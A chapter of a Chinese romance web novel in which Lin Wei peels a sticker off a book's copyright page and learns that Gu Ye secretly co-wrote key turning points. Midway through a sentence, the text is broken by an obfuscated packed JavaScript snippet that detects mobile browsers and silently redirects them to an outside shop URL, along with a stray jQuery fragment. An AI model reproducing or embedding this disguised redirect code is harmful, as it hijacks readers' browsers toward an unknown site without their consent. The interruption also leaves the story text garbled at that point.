那本书在顾夜胸口内袋里待了一整个晚自习。林微坐在前排的时候，余光偶尔扫向后方，能看到那本书硬壳封面的轮廓隔着卫衣布料略微凸起，像一块被贴身放着的护板。他不知道顾夜为什么把它放在那里——可能是为了方便随时取出来看，也可能是为了让那本书的温度保持在他自己的体温里。不管原因是什么，林微看见那个轮廓的时候，自己的心跳会不自觉地放慢半拍。
晚自习结束之后，林微没有立刻回宿舍。他等教室里的人走得差不多了，才从座位上站起来，走到后排。
“书能再给我看一下吗？”他在顾夜旁边坐下，“我想看看最后一页。”
顾夜把书从胸口内袋里取出来，递过去。纸页还带着一点体温的余热，透过封面传到林微的指尖——那个温度让他想起顾夜每天放在他桌角的牛奶盒，也是这种温热的、刚好到不会被烫到的程度。他把书翻到最后一页。样书最后一页就是版权信息页，印着出版社的名字、出版日期、字数、印数。一切看起来都正常，像任何一本出版物的最后一页该有的内容。
但他注意到了一件事。在版权信息的底部，靠近页脚的位置，有一行小字被一层薄薄的白色贴纸覆盖住了。贴纸的颜色和纸面几乎一致，不仔细看会以为是纸张本身的留白。他凑近了看，用手指轻轻摸了摸那层贴纸的边缘——贴得很平，像是故意贴上去的。
“这下面有字。”他说。
顾夜没有否认。
“我能撕开吗？”
顾夜沉默了一下。“……能。”
林微用指甲小心翼翼地挑起贴纸的一个角，慢慢往下揭。贴纸的胶面不算粘，他撕得很慢，边撕边注意不把纸面扯破。当整张贴纸被完整揭开之后，底下那行字露出来了。那是一行被印刷在页面下方的字，字体和版权信息一致，字号略小，位置紧挨着出版社地址的后半段。印着的是一行确认声明：“本书核心概念由未署名合作者提供，原始故事架构及时间线设定由双方共同完成。”
林微的手指停在那一页上。他读了一遍，又读了一遍。“你跟我说‘我只提供了设定’，但这里写的是‘共同完成’。”
“那是出版社排版的时候加的。”顾夜的声音从旁边传过来，“我没有要求他们写。”
“但你没有要求他们删掉。”
“我收到样书的时候已经印出来了。没有第二版。”
“你在‘提供设定’之外还做了别的。”林微翻到那本书的前面部分，快速翻过几页，停在一个章节的开头，“这章的结构和你笔记本里补过的那些废稿的写法很像。你的用词习惯——你习惯在一句话的结尾用破折号而不是逗号。这章里至少有七处破折号。”
“你观察到了？”
“你写的东西我都看过。”林微把书合上，“你以前说过这句话。现在轮到我说了。”
顾夜靠在椅背上。教室里的灯已经灭了大半，只剩后排这盏日光灯还亮着，光线下落着细小的灰尘，缓缓地浮动。他看着林微手里那本书被翻开的状态，看着那行被贴纸遮住了三年的文字现在重新暴露在灯光下。“你的剧本里有一些段落是我写的。不多。七八个关键转折点。但你润色过，我写完之后你重新过了一遍，所以最终稿看起来像是你一个人的风格。那些段落如果不是拆开看，普通读者看不出来。”
“七八个关键转折点。占比多少？”
“可能在百分之一左右。但每个都在结构的关键位置。”
“你写了它们，没有署名。出版社印了这一行‘未署名合作者’的声明，你又贴了贴纸把那一行遮住了。为什么？”
顾夜把双手放在膝盖上。他低下头，帽沿遮住了他的表情。“因为我想让你的书只署你一个人的名字。如果把‘合作者’印在最后一页，有人看到了会去查。查到了会质疑你是不是一个人写的。你的第一本书，我不想有任何争议。”
“你写的那部分写得很好。如果有人问起来，你可以说——”
“我不能说。”
“为什么不能说？”
顾夜抬起头。他的目光从帽沿底下露出来，那双深灰色的眼睛在日光灯下颜色偏浅，像冰面正在被光照穿。“因为我在那个时间线上不存在。出版合同签的是你的名字。如果有人说‘顾夜参与了写作’，没有人会查到我的记录。我没有那个时间线的身份档案。他们会觉得是有人在帮你造假。我不想你的第一本书背上任何质疑。”
林微坐在后排的椅子上，背靠着墙壁。那本书合着放在他膝盖上，他的手掌压着封面。他在想一件事——一个人为了不让另一个人的作品背上“合著”的争议，会把自己贡献的部分遮住，把自己存在的证据用贴纸盖掉。然后那个人在接下来三年里反复翻看这本书，每次翻到最后一页的时候都知道底下那行被盖住的字在说什么。但从来没有撕开过。
“那你现在为什么要让我看？”
“因为第三轮了。”顾夜说，“你已经在看那些没有遮住的东西了。被遮住的部分也该让你看见了。”
林微把那行被贴纸盖过的字又看了一遍。然后他把书翻到扉页，和那张“谢谢你帮我走完那些路”的便签一起，放在膝盖上并排摊开。两件事——一封感谢信、一行被盖住的声明——它们之间的关联像一条被画在地上的线，一端连着他的感谢，另一端连着顾夜的沉默。
“你帮了我很多，”林微说，“不只是剧本结构。你帮我补那些废稿的时候，你在用你自己的时间和力气让我那些没写完的东西变成完整的作品。你帮我补的时候，署名写的是我。你补的那些稿子投出去发了，稿费打到了我的旧账户上。那笔钱你转成了别的东西——你把它变成了寄给我妈的那个包裹。”
顾夜没有说话。他看着林微把那本书合上，用手指在封面上慢慢抚过。“你现在知道了。”
“我现在知道了。”
“那你打算怎么做？”
林微把书递回去。顾夜接过去的时候，手指碰触到书脊上残留的林微掌心的温度。“我打算把贴纸留着，但放在别的地方。”林微说，“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906565|213027||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不贴着那行字了。”
那天晚上回到宿舍之后，林微在台灯底下把那张贴纸从书上完整地揭了下来。胶面已经不那么粘了，因为贴了太久，边缘微微翘起。他把它放在一张白纸上压平，然后把那行“未署名合作者”的声明字迹用手机拍了一张照片存起来。做完了这些之后，他翻到日记本最新一页。他想了想，在那页上写了一段话：“他的那部分，我记住了。”
然后他在底下又加了一句：“下一本书。署名会写两个人的名字。”他把日记本合上，放回抽屉里。窗外的月光从窗帘缝隙渗进来，在书桌上留下一道细细的白线。那道白线落在那张贴纸上，把“未署名合作者”的印刷体字迹映得清晰分明。
他知道顾夜写那七八个转折点的时候，可能坐在这本书前面度过了无数个深夜。那些夜晚里，他一个人对着稿纸，把一行一行的字改了又改，直到它们能完美地嵌进林微的整体风格里。然后他把那些段落放进去，没有留下任何可以被追溯的痕迹。但出版社的那一行字记住了他——那行字穿越了排版、印刷、贴纸的覆盖，在第三轮的某一天，被林微亲手揭开了。
那行字现在露在外面。不再被任何东西遮住。
【暗场·顾夜】
当天夜里，顾夜坐在窗台上。台灯亮着，那本书摊开在膝盖上。最后一页的那张贴纸已经被林微揭走了，露出下面完整的印刷字：“本书核心概念由未署名合作者提供，原始故事架构及时间线设定由双方共同完成。”
他把那行字看了一遍。看了两遍。第三遍的时候他用手指沿着那行字的边缘轻轻描了一遍。这行字是他收到样书之后才发现的。出版社在排版的时候擅自加上的。他当时看到这行字的时候，第一反应是用贴纸盖住它——因为他怕林微的读者看到之后会去扒“未署名合作者”是谁。而那个名字一旦被人挖出来，可能会牵连出一整条他本不该存在的痕迹。但盖住那行字的动作本身，也是一种记录。他其实希望有朝一日有人能看到它。
今晚林微看到了。他亲手撕开了贴纸。他读了那行字，看了那些破折号的证据，把书递回来的时候说了一句“那行字我记住了”。顾夜把那本书翻到扉页，在“谢谢你帮我走完那些路”那行字旁边加了一个很小的符号——一个笑脸。铅笔画的，弧度很浅，不会让纸面鼓起任何明显的凸起。但它在。那个符号在表示“不客气”。
窗台上的花盆里那棵小芽已经长出第七片叶子了。叶片在夜风里微微晃动，像在数着什么。第七片叶子，纪念第七个转折点，那七个他在深夜里写完、然后把它放在林微的稿子里的关键段落。每一个转折点他都记得。每一个段落他都能闭着眼睛背出来。但现在林微也知道了。他知道那七个部分不是他自己写的，知道有一个人坐在某个他不知道的地方，一笔一画地把那些字写下来，然后悄无声息地放进了他的故事里。
顾夜伸出手，碰了碰第七片叶子的边缘——薄薄的、嫩绿的、在月光里透着光。像是他那些被藏起来的文字，在某个地方长出了自己的形状。